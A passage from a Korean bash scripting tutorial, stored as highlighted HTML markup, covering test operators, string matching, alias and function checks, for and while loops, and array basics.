&lt;span class=&quot;c&quot;&gt;# {&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# } 표기법&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; 조건 &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# code&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;table&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt;연산자&lt;/th&gt; &lt;th&gt;의미&lt;/th&gt; &lt;th&gt;비고&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; &lt;tr&gt; &lt;td&gt;-eq&lt;/td&gt; &lt;td&gt;== (EQual)&lt;/td&gt; &lt;td&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;-ne&lt;/td&gt; &lt;td&gt;!= (NEgative)&lt;/td&gt; &lt;td&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;-gt&lt;/td&gt; &lt;td&gt;&amp;gt; (Greater Than)&lt;/td&gt; &lt;td&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;-lt&lt;/td&gt; &lt;td&gt;&amp;lt; (Less Than)&lt;/td&gt; &lt;td&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;-ge&lt;/td&gt; &lt;td&gt;&amp;gt;= (Greater than Equal)&lt;/td&gt; &lt;td&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;-le&lt;/td&gt; &lt;td&gt;&amp;lt;= (Less than Equal)&lt;/td&gt; &lt;td&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tbody&gt; &lt;tfoot&gt; &lt;tr&gt; &lt;td&gt;==&lt;/td&gt; &lt;td&gt;==&lt;/td&gt; &lt;td&gt;zsh 호환 X&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;!=&lt;/td&gt; &lt;td&gt;!=&lt;/td&gt; &lt;td&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;-e&lt;/td&gt; &lt;td&gt;파일/디렉토리 존재 여부&lt;/td&gt; &lt;td&gt;해당 내용이 파일인지 디렉토리인지 구분하지 않음&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;-f&lt;/td&gt; &lt;td&gt;파일 존재 여부&lt;/td&gt; &lt;td&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;-d&lt;/td&gt; &lt;td&gt;디렉토리 존재 여부&lt;/td&gt; &lt;td&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;-r&lt;/td&gt; &lt;td&gt;읽기 가능한 파일 여부&lt;/td&gt; &lt;td&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;-w&lt;/td&gt; &lt;td&gt;쓰기 가능한 파일 여부&lt;/td&gt; &lt;td&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;-x&lt;/td&gt; &lt;td&gt;실행 가능한 파일 여부&lt;/td&gt; &lt;td&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;-z&lt;/td&gt; &lt;td&gt;문자열 길이가 0이면 참&lt;/td&gt; &lt;td&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;-n&lt;/td&gt; &lt;td&gt;문자열 길이가 0보다 크면 참&lt;/td&gt; &lt;td&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td&gt;-v&lt;/td&gt; &lt;td&gt;변수가 선언되어 있으면 참&lt;/td&gt; &lt;td&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/tfoot&gt; &lt;/table&gt; &lt;h3 id=&quot;문자열-포함-여부를-확인하고-싶어요&quot;&gt;문자열 포함 여부를 확인하고 싶어요&lt;/h3&gt; &lt;ol&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;if [[ &quot;$A&quot; =~ &quot;$B&quot; ]]&lt;/code&gt; 를 사용한다. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$B&lt;/code&gt;가 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$A&lt;/code&gt;에 포함되어 있으면 참이다.&lt;/li&gt; &lt;/ol&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[[&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;apple is sweet&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;~ &lt;span class=&quot;s2&quot;&gt;&quot;sw&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;]]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# true&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ol&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;if grep -q &quot;$A&quot; &amp;lt;&amp;lt;&amp;lt; &quot;$B&quot;&lt;/code&gt; 를 사용한다. 1번과 반대로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$A&lt;/code&gt;가 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;$B&lt;/code&gt;에 포함되어 있으면 참이다.&lt;/li&gt; &lt;/ol&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;k&quot;&gt;if &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;grep&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-q&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;ee&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;apple is sweet&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# true&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;함수-function-알리아스-alias가-정의되어-있는지-확인하고-싶어요&quot;&gt;함수 (function), 알리아스 (alias)가 정의되어 있는지 확인하고 싶어요&lt;/h3&gt; &lt;ul&gt; &lt;li&gt;alias 정의 여부 확인&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;alias &lt;/span&gt;testalias &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /dev/null 2&amp;gt;&amp;amp;1&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;unalias &lt;/span&gt;fzf &lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;ul&gt; &lt;li&gt;함수 정의 여부 확인&lt;/li&gt; &lt;/ul&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;declare&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-F&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;testfunc&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; /dev/null&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;unset&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-f&lt;/span&gt; fzf &lt;span class=&quot;k&quot;&gt;fi&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h2 id=&quot;반복문&quot;&gt;반복문&lt;/h2&gt; &lt;h3 id=&quot;for-문&quot;&gt;for 문&lt;/h3&gt; &lt;h4 id=&quot;foreach-형식&quot;&gt;foreach 형식&lt;/h4&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;i &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;1 2 3 4 5&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 1 ~ 5 출력&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;i &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;1..5&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 1 ~ 5 출력&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;i &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;0..10..2&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 0 2 4 6 8 10 출력&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;i &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;5..0..1&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 5 4 3 2 1 0 출력&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;i &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;seq &lt;/span&gt;0 1 9&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 0 ~ 9 출력&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;arr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;str1&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;str2&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;str3&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;str4&quot;&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;str5&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;for &lt;/span&gt;i &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;arr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[@]&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# str1 str2 str3 str4 str5 출력&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h4 id=&quot;for-형식&quot;&gt;for 형식&lt;/h4&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;((&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; i&amp;lt;10&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; i++ &lt;span class=&quot;o&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$i&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 0 ~ 9 출력&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h2 id=&quot;while-문&quot;&gt;while 문&lt;/h2&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0 &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$var&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-lt&lt;/span&gt; 3 &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;test&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;var++&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# test 3번 출력&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;무한-while-루프를-사용하고-싶어요&quot;&gt;무한 while 루프를 사용하고 싶어요&lt;/h3&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;while [ : ]&lt;/code&gt; 를 사용한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; : &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;test&quot;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# test가 무한으로 출력된다.&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;반복문을-빠져나오고-싶어요&quot;&gt;반복문을 빠져나오고 싶어요&lt;/h3&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;break&lt;/code&gt; 를 사용한다.&lt;/p&gt; &lt;p&gt;무한루프 이지만 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;var&lt;/code&gt;가 3이 되면 if문을 타고 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;break&lt;/code&gt;가 걸려 반복문을 빠져나온다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 6 7 8 9 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;var&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;0 &lt;span class=&quot;k&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; : &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do if&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$var&lt;/span&gt; &lt;span class=&quot;nt&quot;&gt;-ge&lt;/span&gt; 3 &lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;then &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;break &lt;/span&gt;&lt;span class=&quot;k&quot;&gt;fi &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;test&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;((&lt;/span&gt;var++&lt;span class=&quot;o&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;done&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# test 3번 출력&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h2 id=&quot;배열리스트&quot;&gt;배열/리스트&lt;/h2&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;()&lt;/code&gt; 를 사용한다.&lt;/p&gt; &lt;h3 id=&quot;선언&quot;&gt;선언&lt;/h3&gt; &lt;ul&gt; &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;(값1 값2 값3 값4 값5 ...)&lt;/code&gt;&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;요소는 공백으로 구분한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=(&lt;/span&gt;1 2 3 4 5&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[@]&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 1 2 3 4 5&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;배열의-전체-요소를-출력하고-싶어요&quot;&gt;배열의 전체 요소를 출력하고 싶어요&lt;/h3&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;${varname[@]}&lt;/code&gt; 를 이용한다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=(&lt;/span&gt;1 2 3 4 5&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[@]&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt; &lt;h3 id=&quot;특정-요소를-출력하고-싶어요&quot;&gt;특정 요소를 출력하고 싶어요&lt;/h3&gt; &lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;${varname[index]}&lt;/code&gt; 를 이용한다. &lt;br /&gt; 일반적으로 변수 출력하듯이 사용하면 첫 번째 인덱스의 값만 리턴된다.&lt;/p&gt; &lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;table class=&quot;rouge-table&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td class=&quot;rouge-gutter gl&quot;&gt;&lt;pre class=&quot;lineno&quot;&gt;1 2 3 4 5 &lt;/pre&gt;&lt;/td&gt;&lt;td class=&quot;rouge-code&quot;&gt;&lt;pre&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=(&lt;/span&gt;1 2 3 4 5&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[1]&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 2&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;${&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;var1&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;c&quot;&gt;# 1&lt;/span&gt; 